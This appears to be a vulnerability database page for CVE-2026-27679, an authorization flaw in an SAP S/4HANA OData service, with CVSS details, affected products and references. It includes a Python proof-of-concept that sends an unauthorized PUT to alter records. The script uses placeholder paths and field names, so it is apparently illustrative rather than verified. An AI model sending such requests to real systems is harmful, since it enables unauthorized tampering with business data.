CVE-2026-27679

Description

Due to missing authorization checks in the SAP S/4HANA frontend OData Service (Manage Reference Structures), an attacker could update and delete child entities via exposed OData services without proper authorization. This vulnerability has a high impact on integrity, while confidentiality and availability are not impacted.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:sap:manage_reference_structures:uis4h_109:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:sap:s\/4hana:-:*:*:*:*:*:*:* - NOT VULNERABLE

SAP S/4HANA (具体受影响版本请参考 SAP Note 3716767)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# SAP S/4HANA OData Service PoC
# Description: Exploits missing authorization to update a child entity

target_url = "https://<target-host>/sap/opu/odata/sap/Z_MANAGE_REF_STRUCTURES/EntitySet('<ID>')"
headers = {
    "Content-Type": "application/json",
    "Authorization": "Basic <low_privilege_credentials>"
}

# Malicious payload to update data
payload = {
    "PropertyToChange": "MaliciousValue"
}

try:
    response = requests.request("PUT", target_url, headers=headers, json=payload, verify=False)
    if response.status_code == 200 or response.status_code == 204:
        print("[+] Vulnerability exploited! Entity updated successfully.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27679
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27679
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27679/
[4] VulDB https://vuldb.com/cve/CVE-2026-27679
[5] https://me.sap.com/notes/3716767
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

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